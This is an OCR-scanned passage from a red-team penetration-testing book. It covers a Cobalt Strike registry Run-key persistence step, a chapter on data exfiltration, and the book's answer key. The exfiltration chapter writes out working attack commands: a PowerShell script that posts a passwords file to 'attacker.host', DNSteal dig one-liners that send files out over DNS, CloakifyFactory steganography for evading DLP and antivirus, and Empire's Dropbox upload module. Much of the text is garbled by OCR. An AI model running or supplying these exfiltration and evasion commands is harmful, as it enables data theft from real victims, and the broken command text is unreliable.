Base64 Encoded payload as a HKCU Run Key Registry Entry for persistence on
selected beacon. -

F Y

Registry Key Name for Payload: lTest ]

Registry Key Name to execute Payload: Iperﬁist ]

Creatn-

Upon clicking Create, a new item will be created in the registry of the user




which will contain our base64-encoded PowerShell payload.

For more information about different scripts, visit the following URL: https://git

hub.com/harleyQuinn/AggressorScripts/tree/master/Persistence.


https://github.com/harleyQu1nn/AggressorScripts/tree/master/Persistence

Summary

In this chapter, we learned about achieving persistence using Armitage's inbuilt
exploit modules, then we learned how to do the same via Empire on Windows,
Linux, and macOS machines. In the last section, we learned how to persist
sessions in Cobalt Strike with the help of Aggressor Scripts.



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

https
https
https
https
https

view

://github.com/harleyQuinn/AggressorScripts/tree/master/Persistence
://www.offensive-security.com/metasploit-unleashed/meterpreter-service/
://www.rapid7.com/db/modules/exploit/windows/local/wmi_persistence
://www.harmjoy.net/blog/empire/nothing-lasts-forever-persistence-with-empire/

://docs.microsoft.com/en-us/windows/desktop/vss/volume-shadow-copy-service-over


https://github.com/harleyQu1nn/AggressorScripts/tree/master/Persistence
https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/
https://www.rapid7.com/db/modules/exploit/windows/local/wmi_persistence
https://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
https://docs.microsoft.com/en-us/windows/desktop/vss/volume-shadow-copy-service-overview

Data Exfiltration

Data exfiltration (which can also be referred to as data extrusion or data theft) is
an unauthorized data transfer from a computer. This can either be done by
having physical access to the devices in the network or by remotely using
automated scripts.

Advanced Persistent Threats (APTs) usually have data exfiltration as the main
goal. The goal of an APT is to gain access to a network but remain undetected as
it stealthily seeks out the most valuable data.

There may be cases in which the client wants to check both exploitation as well
as data exfiltration. This makes the activity even more interesting as exfiltration
of data without detection can sometimes be tricky.

In this chapter, we will cover the following topics:

Exfiltration basics
CloakifyFactory

Data exfiltration via DNS
Data exfiltration via Empire



Technical requirements

Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or latest
Cobalt Strike

Empire

Armitage



Exfiltration basics

We have already covered some basic techniques in the reverse shell chapter.
Let's do a quick revision of how these techniques can be used to transfer data
from a victim machine to us.



Exfiltration via Netcat

As previously discussed, this is not the best way to transmit data as the data
is transmitted in plaintext, which makes it easily detectable.
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Exfiltration via OpenSSL

We also saw another way to transfer data via OpenSSL using commands, as
shown by the following, to first generate the certificate and then use that
certificate to transfer data securely: openssl req -x509 -newkey rsa:4096 -
keyout key.pem -out cert.pem -days 365 -nodes

On a server, input the following:

| openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

On a client, input the following;:

| openssl s_client -quiet -connect <IP>:<port>
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Transferring data over SSL is secure but it will not always work, as we may find
systems in the network where OpenSSL is not installed.



Exfiltration with PowerShell

Another way to exfiltrate data on Windows systems is by using PowerShell. This
can be done with a few simple lines of which will encrypt the contents of a file
in Advanced Encryption Standard (AES) format using a predefined key and
send it to our host using HTTP rost request. A simple example of this method can
be found at the fOHOWiIlg link: https://azeria-labs.com/data-exfiltration/.

Using the following code and saving it as a PowerShell script, or executing it
directly in the victim's command shell, we can successfully transfer data.

$file = Get-Content C:\Users\PT\Desktop\passwords.txt

$key = (New-Object System.Text.ASCIIEncoding).GetBytes("54h8617eca0e54c7d3c8e6732c6h687s
$securestring = new-object System.Security.SecureString

foreach ($char in $file.toCharArray()) {

$secureString.AppendChar ($char)

}
$encryptedData = ConvertFrom-SecureString -SecureString $secureString -Key $key
Invoke-WebRequest -Uri http://www.attacker.host/exfil -Method POST -Body $encryptedData

The urte request will look something like this:

POST /exfil HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.3; en-GB) WindowsPowerShell/4.0
Content-Type: application/x-www-form-urlencoded

Host: www.attacker.host

Content-Length: 704

Expect: 100-continue

Connection: Keep-Alive

encrypteddatahere

To decrypt the code server side, we can use the following code:

$key = (New-Object System.Text.ASCIIEncoding).GetBytes("54h8617eca0e54c7d3c8e6732c6h6872
$encrypted = "encrypteddatahere"
echo $encrypted | ConvertTo-SecureString -key $key | ForEach-Object {[Runtime.InteropSer

For further reading:

https://azeria-labs.com/data-exfiltration/


https://azeria-labs.com/data-exfiltration/
https://azeria-labs.com/data-exfiltration/

CloakifyFactory

CloakifyFactory is developed by Joe Gervais (TryCatchHCF). This was
presented at DEF CON24. This tool hides the data in plain sight—it bypassed
data loss prevention (DLP), whitelisting controls, and antivirus (AV)
detection. Blue team members already know what to look for when hunting for
traces of attack in the memory or in the network traffic. Cloakify defeats them all
by transforming any file type into simple strings using text-based steganography.

As mentioned by Souvik Roya and P.Venkateswaran in their white paper:

"Steganography is the art of hiding of a message within another so that the presence of a hidden message is
indistinguishable. The key concept behind steganography is that a message to be transmitted is not
detectable to the casual eye. This is also the advantage of steganography over cryptography. An unhidden
encrypted message, no matter how unbreakable, raises suspicion.

There are many steganography methods which use images, video and audio as a cover media. Text
steganography uses text as a cover media for hiding a message. A message can be hidden by shifting a word
and line in the open spaces in word sequence. The advantage of using text steganography over other
steganographic techniques is that it has a smaller memory requirement and simpler communication."

CloakifyFactory is open source and can be downloaded from GitHub at the
following link: https://github.com/TryCatchHCF/Cloakify

Let's familiarize ourselves with the usage of CloakifyFactory. Once the
repository is cloned, we can run the tool using: python cloakifyFactory.py


https://github.com/TryCatchHCF/Cloakify

~/tools/Cloakify# python cleakifyFactory.py
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==== (loakify Factory Main Menu ====

1) Cloakify a File

2) Decloakify a File

3) Browse Ciphers

4) Browse Noise Generators
5) Help / Basic Usage

6) About Cloakify Factory
7) Exit

We will now see the tool running, showing us the options for its usage. To view
the Help for this tool we can type s and press Enter. This will display Help and
the BASIC USE of the tool as shown as follows:



BASIC USE:

Cloakify Factory will guide you through each step. Follow the prompts and
it will show you the way.

Cloakify a Payload:
Select 'Cloakify a File' (any filetype will work - zip, binaries, etc.)
Enter filename that you want to Cloakify (can be filename or filepath])
Enter filename that you want to save the cloaked file as
Select the cipher you want to use
Select a Noise Generator if desired
Preview cloaked file if you want to check the results
Transfer cloaked file via whatever method you prefer

Decloakify a Payload:
Receive cloaked file via whatever method you prefer
Select 'Decloakify a File'
Enter filename of cloaked file (can be filename or filepath)
Enter filename to save decloaked file to
Preview cloaked file to review which Noise Generator and Cipher you used

If Noise Generator was used, select matching Generator to remove noise
Select the cipher used to cloak the file

Let's run the tool and cloak a file. In this example, we will cloak the /etc/passwd
file of our system. To do this, we type 1 in the main menu and press Enter. We
then specify the filename as c10ak and the output file name as shown as follows:

[Selection: 1
==== (loakify a File

[Enter filename to cloak (e.g. ImADolphin.exe or /foo/bar.zip): /fetc/passwd

Save cloaked data to filename (default: 'tempList.txt'): tEEt.txtg

Next, we choose the ciphers which will be used to hide the data. CloakifyFactory
has 24 inbuilt ciphers available, including texts in different languages, IP
addresses, and even emojis.

Ciphers are nothing but a list of unique keywords saved in a file. We can create
our own list and add it as a cipher in the tool (the minimum number of keywords



needed when creating a new list is 61). This is extremely useful when doing a
red team activity because, when we cloak the data and transfer it, the data may
not be understood by the analysts, but a list of emojis transferred across a
corporate network through a system may be flagged. In such cases, we can make
a list of keywords using company-relevant data such as internal IPs, system
names, employee names, internal domain names, and so on. This will decrease
the risk of being flagged during unencrypted exfiltration.

In our case, for now, we choose belgianseers as a cipher:



Ciphers:

dessertsHindi
evadeAV
belgianBeers
desserts
dessertsChinese
amphibians
dessertsSwedishChef
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dessertsPersian
rickrollYoutube
worldFootballTeams
geoCoordsWorldCapitals
topwWebsites
geocache
dessertsRussian
starTrek

hashesMD5
ipAddressesTopl@e
dessertsThai

emo]l

pokemonGo
worldBeaches

Enter cipher #:

Next, we are asked if want to add noise. This tool is not completely secure;
unlike other cryptography tools it is also vulnerable to frequency analysis
attacks. We can use the add noise option to add entropy when cloaking a payload
to help degrade frequency analysis attacks. Alternatively, for absolute secrecy,
we can encrypt the file before cloaking.



Setting the options of ciphers is shown as follows:
[Enter cipher #: 3
[Add noise to cloaked file? (y/n): n
Creating cloaked file using cipher: belgianBeers

Cloaked T1ile saved to: test.tx

Preview cloaked file? (y/n): l

When we preview the cloaked file, it will show a list of beers as shown as
follows:



[Preview cloaked file? (y/n): y

Lesage Dubbel

Mageleno

Rodenbach

Buffalo Bitter

La Mamurolise

Podge Oak Aged Stout
Waterloo Tripel 7 Blond
Elliot Brew

Shark Pants

Waase Wolf
Sint-Gummarus Tripel
S5ur-les-Bols Blonde
Florilége de Rose

Podge Oak Aged S5Stout
Waterloo Tripel 7 Blond
Seraftijn Tripel

5t. Paul Double

Holger

Rodenbach

't Smisje Calva

Let us try getting the original file back from the cloaked one. We run the tool
again, choose option 2, and enter the file name as well as the output file name as
shown as follows:



Cloakify Factory Main Menu =—===

Cloakify a File
Decloakify a File
Browse Ciphers
Browse Nolse Generators
5) Help / Basic Usage
6) About Cloakify Factory
7)

Exit
[Selection: 2
==== Decloakify a Cloaked File ====
[Enter filename to decloakify (e.g. /foo/bar/MyBoringlList.txt): test.txt

[Save decloaked data to filename (default: 'decloaked.file'): passwd.txt

Next, we choose the cipher we used to cloak the file:
22 — emo]l
23 = pokemonGo

24 — worldBeaches

[Enter cipher #: 3

Decloaking file using cipher: belglanBeers

Decloaked Tile test.txt ,
[Press return to continue...

By opening the output file, we will see that it's the /etc/passwd file, which we
originally cloaked. We can see that in the screenshot as follows:



~ftools/Cloakify# cat passwd.txt
root:x:8:8: root:/root:/bin/bash
daemon:x:1l:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin: fusr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:6@:games: fusr/games: fusr/sbin/nologin
man:x:6:12:man:/var/cache/man: fusr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd: fusr/sbin/nologin

Of course, it is not possible to clone the entire repository on the victim's machine
which is why it has cioakify.py, which is a standalone Python file. We can use this
with a simple command as follows: python cloakify.py filename ciphername

In the following screenshot, we can see the /etc/passwd cloaked as Hindi words:

~ftools/Cloakify# python cloakify.py /etc/passwd ciphers/dessertsHindi
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1



To decloak this, we have the dec1oakify option which can be run as follows:
python decloakify.py cloakedfile ciphername

In the following screenshot, we can see the decloaked etc/passwa:

~/tools/Cloakify# python decloakify.py base.txt ciphers/dessertsHindi
[root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:06@:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man: fusr/sbin/nolegin
Lp:x:7:7:lp:/var/spool/\pd: fusr/sbin/nologin




Running CloakifyFactory on
Windows

Python is not always found on a Windows server, but cioakify.py can be compiled
to a Windows standalone executable file, which can then be uploaded and
executed on the system. Let's view an example of this now.

We browse the files in our Armitage as shown as follows:

_ Access >
Services Interact =
Scan
EF'”E > Browse Files
Host > | Pivoting > | Show Processes
ARP Scan... Log Keystrokes
Kill Screenshot
Webcam 5Shot
Post Modules

We select and upload the cioakify.exe and the cipher file on the system as follows:



® @

Look In: |_[ﬁ‘l}esktup 'J | (i | | fut | |_ id || E] ]| B |
[i5i Screenshots | | payload.txt
. | Picturel.png
| cloakify.exe E
I ™
N I
«\_J T
File Name: cloakify.exe

Files of Type: |_ All Files

l Open J | Cancel |

When the upload is complete, we browse to the uploaded folder and run the EXE

as shown as follows:



[ Event Log X T multifhandler X I{md.exe 3716@l X T Files 1 X ]

C:\> cloakify.exe C:\Users\PT\Desktop\passwords.txt amphibians
Oregonensis
Gavilanensis
Ambystoma
Bufonidae
Oregonensis
Nyctibatrachidae
Microhylidae
Ambystomatidae
Plethodontidae
Telmatobiidae
Typhlonectidae
Croceum

Taricha
Rhacophoridae
Ranidae
Croceater
Plethodon

This output can be saved to a file and exfiltrated to our C2 where we can
decloakify it to view the contents of the file as shown as follows:
[MacBook-Air:Cloakify Himanshu$ python decloakify.py passwords_cloaked.txt ciphers/amphibians
(18.0.0.12

admin: sadmin

http://192.168.2.35:8088/weblogin. php
admin: iamlucky




Data exfiltration via DNS

Data exfiltration can also be done over DNS to avoid detection. DNSteal is a
great tool for this as it creates a fake DNS server, which listens for DNS requests
while on the client; we can transfer the file data using simple for loops. This
supports single as well as multiple file transfers.

The tool can be downloaded at the following link:

https://github.com/m57/dnsteal

Once downloaded, the tool can be run using the command shown as follows:

python dnsteal.py

Stealthy file extraction via DN5S reguests

DN5S listening on
On the victim machine, use any of the following commands:
Remember to set filename for individual file transfer.

[?] Copy individual file (ZIP enabled)
f=file.txt; s=40;b=500;c=08; for r in $(for i in ${gzip =-c $f| base64 -wd | sed "s/.\{%b
\}/&\n/fg");do if [[ "$c" -1t "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-.";

c=1; fi; done ); do dig ¢ ‘echo =ne $r$f|tr "+" "+"" +short; done
[7] Copy entire folder (ZIP enabled)

for f in $(1s .); do s=4@;b=50@;c=8; for r in $(for i in $(gzip -c $f| base64 -w@ | sed
"s/A\{$b\}/&\n/g");do if [[ "$c" -1t "$s" 1]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne
"\n$i-."; c=1; fi; done ); do dig ¢ ‘echo -ne $r$f|tr "+" "s" +short; done ; done

Once files have sent, use Ctrl+C to exit and save.

This will start the server which will listen on port s3 for incoming connections.

The tool also gives us a command to be run on *nix-based systems. To exfiltrate


https://github.com/m57/dnsteal

data, we use that command and paste it in the client's shell as shown as follows:

~# f=password.txt; s=4;b=5;c=0; for r in $(for i in $(gzip -c $f| bas
ebd -wd | sed "s/.\{$b\}/&\n/g");do if [[ "$c" =1t "$s" ]]; then echo -ne "$i-.

; c=$({(%c+1)); else echo -ne "\n$i-."; c=1; fi; done }; do dig ¢
‘echo =ne $r$f|tr "+" "+"° +short; done

This will send password. txt to our server and we will receive the file on our server
as shown as follows.

Once the file transfer has completed, we press Ctrl + C, which will exit the
server and save our file:

files have sent, use Ctrl+C to exit and save.
‘41 bytes’ password.txt

‘41 bytes’
‘41 bytes’

'19 bytes’

# cat recieved_2018-09-23_06-59-54_password.txt
s5word

There are other simple commands which we can create to transfer data to our
server. This includes the following: for b in $(xxd -p file/to/send); do dig
@serverIP $b.filename.com; done

To send multiple files, we can use the command as follows:

| for filename in $(1s); do for a in $(xxd -p $f); do dig +short@serverIP %a.$filename.con



Data exfiltration via Empire

We have already learned about getting reverse shells on Empire and using
Empire to achieve persistence on the system. The next step is data exfiltration.

Empire has a built-in module which allows us to upload the data directly on to
Dropbox. This is very useful in situations in which IP whitelisting is done, as
Dropbox is one of the domains that generally allows employee access.

Let's take a look at an example of how this module is used. We interact with our
agent and run the command as shown as follows:

| usemodule exfiltration/exfil_dropbox

To view the details of the module, we type the info command:



CEmpire: ) = usemodule exfiltration/exfil_dropbox
(Empire: J > info

Nome: I Iro Upload
Module: p o]l L1tration/exfil_dropbox

; F' amers |.-| e-l. ]_

1d: False
Hu+pu+E + 1s1on: None

Authors:
Lnurwn+ Kempe

lescription:
Upload a file to dropbox

Comments:
Ported to poners hell?

- 'Upload-files-to-DropBox-
+rum Pomers hHll Use fo for the TargetFilePath

Options:

Name Fequired Yalue DH'rr1p+1un
ceFilePath True
£y True
argetFileFath True
GM3TEHWG




This requires the path of the file we wish to transfer and the Dropbox API key,
along with the target filename.

Once everything is set we execute the module as shown following, and the agent
will then transfer the file to Dropbox using the Dropbox API. All this is done
inside the memory itself, thereby making it harder to detect.

Viewing our Dropbox account, we can see that a folder is created and inside the
folder we should have our password file, which we wanted to transfer:
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As shown in the following screenshot, the password file has been successfully

uploaded:
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Summary

In this chapter, we learned about data exfiltration and why it is needed. Then, we
learned some basic ways of transferring data using simple tools like Netcat,
OpenSSL, and PowerShell. Next, we jumped into transforming the data using
text-based steganography to avoid detection, as well as looking at the usage of
the CloakifyFactory tool. We also learned about extracting data via DNS from a
victim machine to our server. Lastly, we explored how to exfiltrate data using
Dropbox API to avoid detection, suspicion, and for bypassing firewalls.

Our journey with you ends here. We hope that you have enjoyed reading these
chapters and that you have learned from them as well.

We would love to hear your feedback on this book. You can reach us on
LinkedIn at the following links:

® https://linkedin.com/in/0xhimanshu
® https://www.linkedin.com/in/hs-ninja

L4 Emall himanshu@bugsbounty.com


https://linkedin.com/in/0xhimanshu
https://www.linkedin.com/in/hs-ninja

Questions

1. Are there other ways to exfiltrate data? Are these techniques totally
undetectable?

2. What is a frequency analysis attack?

3. What other tools can be used for Data exfiltration?



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

https://7i0.net/2015/09/30/data-exfiltration-dnsteal/
https://nGwhere.net/data-exfiltration-over-dns-request-covert-channel-dnsexfiltrator
https://github.com/m57/dnsteal
https://blog.trendmicro.com/trendlabs-security-intelligence/data-exfiltration-in-tar
geted-attacks/

https://www.techopedia.com/definition/14682/data-exfiltration
https://www.sciencedirect.com/science/article/pii/S2212017313005033


https://7io.net/2015/09/30/data-exfiltration-dnsteal/
https://n0where.net/data-exfiltration-over-dns-request-covert-channel-dnsexfiltrator
https://github.com/m57/dnsteal
https://blog.trendmicro.com/trendlabs-security-intelligence/data-exfiltration-in-targeted-attacks/
https://www.techopedia.com/definition/14682/data-exfiltration
https://www.sciencedirect.com/science/article/pii/S2212017313005033

Assessment



Chapter 1: Red-Teaming and
Pentesting

1. OWASP, OSSTMM, ISSAF.
2. Different phases of PTES are:

Reconnaissance
Compromise
Persistence

Command and control
Privilege escalation
Pivoting

Reporting and cleanup

3. Difference between red-teaming and pentesting is:

Red-teaming involves finding and exploiting only those vulnerabilities
that help to achieve our goal, whereas pentesting involves finding and
exploiting vulnerabilities in the given scope, which is limited to digital
assets.

Red-teaming has an extremely flexible methodology, whereas,
pentesting has fixed static methods.

During red-teaming, the security teams of the organizations have no
information about it, whereas during pentesting, security teams are
notified.

Red-teaming attacks can happen 24/7, while pentesting activities are
mostly limited to office hours.

Red-team is more about measuring the business impact of the
vulnerabilities, whereas, pentesting is about finding and exploiting
vulnerabilities.

4. Key elements of a report are:

Criticality of the bug
Steps of reproduction of the bug
Patch suggestions

5. The main objective of red-teaming is to assess and obtain the real level of
risk a company has at that moment of time. In this activity, networks,



applications, physical, and people (social engineering) are tested against
weaknesses.



Chapter 2: Pentesting 2018

1. When generating a simple payload in msfvenon, you need to include many
options in it. This is definitely a confusing and time-consuming process
because each time when you need to generate a payload, you will be typing
a long command for it. MSFPC just does what nsfvenom does, but with fewer
words to type.

2. It all depends upon the creator but in the meantime, if you feel that some
features are missing, you can always fork the script and contribute to the
community.

3. When you don't know what device the victim will use, you can generate all
these types of payload and download these files from your web server to the
victim's system (Phishing, Drive-by, Ewhoring, and so on). You need to
obfuscate/encrypt the files to avoid AV detection.

4. No. However, it's already packaged in Kali rolling. You can install MSFPC
in Kali by executing the following command:

| apt install msfpc -y

5. Unlike Empire (which is based on Python & PowerShell ) or Metasploit
(the payload signatures are publicly available for easy detection), Koadic
uses Windows Script Host Utility for in-memory payload execution, which
is enough to bypass some AV detections.

6. Koadic implants are based on JavaScript/VBScript, which don't have as
many functionalities as PowerShell. So just give it some time and wait for
the creator to add more implants.

7. In the upcoming chapters, you'll be getting hands-on experience with tools
that can be used as a replacement for Metasploit (msfconsoie) and we'll be
seeing how by using those tools, we can perform a red-team exercise.



Chapter 3: Foreplay — Metasploit
Basics

1. It's up to you. The nightly builds contain version 4. However, if you want to
try out the latest version (version 5), it can be manually downloaded and
configured from their official repository.

2. Integration of Metasploit with slack is not mandatory. However, in most
Red Teaming activity, you may find it pretty useful as you may not always
be in a situation where you will have your laptop in your hand to check and
confirm sessions, especially when social engineering is being used. The
slack app can be easily configured on your phone and getting notified of
every new session becomes very easy.

3. Yes! Cortana scripts can be created and loaded easily based on the
requirements of your activity.

4. Although the official website says that team server is not supported on
Windows, we can install and run team server on a Windows machine via
bash, which was released for Windows some time ago.

5. The Metapsloit Framework community edition is free to use and is open
source. However, Metasploit also has a paid version that provides a better
Ul and a lot more features. More can be read about this here: nttps://www.rapi
d7.com/products/metasploit/.


https://www.rapid7.com/products/metasploit/

Chapter 4: Getting Started with
Cobalt Strike

1. Yes. It is necessary to plan the attack because you may get only one shot in
which you have the advantage of the element of surprise. You need to know
exactly when you'll be attacking the server and carry on with the operation.

2. Cobalt Strike is not free, but you can download the trial version online. A
little bit of Googling may help here.

3. Yes, you can. However, for that you need to change the port in the team
server script. Furthermore, running two team servers on the same instance
will have a listener's port conflict. This can be avoided by using different
ports for listeners during setup.

4. You could be connecting to someone else's team server with your
credentials. It's highly unlikely but possible that you're in an MITM attack
phase.

5. The older version of Cobalt Strike required MSF, but new versions don't
require it at all. That's the beauty of it.

6. This will be shown in the upcoming chapters. Many new things will also be
covered in later chapters.

7. It's up to your own imagination. You can customize the script to redirect the
Cobalt Strike error logs to a file and get an alert system set up so that
whenever the team server crashes or gets an error in one of its modules, you
will find out.



Chapter 5: ./ReverseShell

1. Yes, it is. Not understanding the tool can be much more problematic than
learning to understand it. Also, you can think of unique solutions in a red-
team engagement.

2. Yes, if you don't want the organization to detect your presence in the
network.

3. You can either buy MSF Pro, which comes with the GUI web interface,
where you can generate the payloads, or you can also use the venom tool
(source: https://github.com/reet-3xpieit/venom) for a partial GUI in Metasploit
payload generation.

4. You can download the Cryptcat source code for Windows and compile it
using Visual Studio 2005.

5. Yes, you can. But make sure the encoder you will be using is supported for
this operation.

6. It's recommended that you do because it will get much harder for the
organization's defenders to detect you in this way.

7. Yes, it is. However, it also has a premium access that you can purchase just
in case you want to use an SSL tunnel.


https://github.com/r00t-3xp10it/venom)

Chapter 7: Age of Empire — The
Beginning

1. Yes. Empire is an open source tool available on GitHub.

2. Yes, it does, but only when the listener is SSL-enabled.

3. Yes, it does. There's an official Empire GUI, but this can only work with the
Empire 3.0 beta version for now. There's also another Empire GUI tool
which is covered in the next chapter.



Chapter 8: Age of Empire — Owning
Domain Controllers

1. There are many different techniques which can be used to get access into
the Domain Controller but not all are recommended. It's better to
impersonate the Domain Controller using 'ocsync' to extract the password
hashes without requiring interactive logon or copying the Active Directory
database file (ntds.dit).

2. You can either try other UAC modules in Empire for privilege escalation or
you can look for a local vulnerability using privesc/powerup/allchecks
module or a Unquoted Service Path Vulnerability to escalate the privileges
manually.

3. DeathStar follows a series of checklist to look for the credentials. If the
standard way didn't work, you need to do some manual reconnaissance to
move further.

4. It's not mandatory to retrieve the passwords in plain-text. We can always
use Pass-The-Hash (PTH) technique for lateral movement.

5. Alocal account cannot communicate with the Domain Controller because
the local account would be in a different domain (WORKGROUP). So, to
communicate with the Domain Controller for enumeration and
reconnaissance we need to have access to a domain user account.



Chapter 9: Cobalt Strike — Red Team
Operations

1.

2.

No, Cobalt strike is a paid software which costs about USD 3500 per
annum and renewal of license is USD 2500.

Yes , Cobalt Strike has an external C2 module in it which allows other
programs to act as a middle-man between Cobalt Strike and its Beacon
payload.

Cobalt Strike's beacon have a mallable C2 profile which define how the
communication happens and the data is stored. There are a different C2
profiles which can be downloaded from GitHub and used to avoid
detection. nttps://github.com/rsmudge/Malleable-C2-Profiles.

Older versions of Cobalt Strike used Metasploit Framework, but the new
versions are independent and do not depend on Metasploit Framework.


https://github.com/rsmudge/Malleable-C2-Profiles

Chapter 10: C2 — Master of Puppets

1. We can use different platforms such as Gmail, Twitter, and different
protocol suits like HTTP 2.0, DNS, and so for communication.

2. It's recommended that you create a new account because sometimes
Dropbox can disable your account as we're using their features in a
simulated attack.

3. Well you can but you need your system to be connected to the internet at all
times because you never know when the agent will be connecting to you.
It's recommended that you setup the C2 server on a cloud service like AWS
for efficient usage.

4. Yes there are tools which can be used for automated configuration and
setup. Refer to https://rastamouse.me/2017/08/automated-red-team-infrastructure-dep
loyment-with-terraform---part-1/.

5. We can use Ansible to deploy and monitor our C2 servers. Refer to nttps://r
astamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---p
art-1/ for more details.


https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/
https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/

Chapter 11: Obfuscating C2s —
Introducing Redirectors

1. Yes. you can use a Windows based redirector, provided you have socat
installed for dumb pipe redirection or XAMPP/WAMP installed for smart
redirection.

2. We're not the actual attacker here. There are a set of rules that even a red
teamer has to follow. We should configure and install our own redirectors
unless the organization asked us to use theirs. Remember, If the motivation
behind the engagement is negative, then it's just another cyber attack and
not a simulated one.

3. You can use any web server which supports web request redirection. You
can also use NGINX instead of Apache for robust connections.

4. Only if it is allowed by the organization and mentioned in the RoE and if by
any chance the red teamers took things too far, the organization's legal
advisors will be available to make things clear.

5. We can setup the redirectors on any cloud-based Virtual Private Server
(VPS) services such as Digital Ocean, AWS, etc. It's just a plain Linux
server with some additional tools installed.



Chapter 13: Data Exfiltration

1. Yes, there are alternative methods such as FTP, SSH, Gmail, Twitter, and so
on. A lot of tools and PoC codes can be found on the internet for exfiltration
of data. And, it's not totally undetectable, these techniques help you avoid
detection to a certain level, but we should consider the fact that Blue team
may also know about these tools and might be monitoring tool-specific
channels for any activity.

2. Frequency analysis is one of the known ciphertext attacks. This is based on
the study of the frequency of letters or groups of letters in a ciphertext.
Frequency analysis is used for breaking substitution ciphers. The general
idea is to find the popular letters in the ciphertext and to try to replace them
with the common letters in the used language.

3. There are a lot of tools which are released every day for the same purpose,
such as the Data Exfiltration Toolkit and so on.
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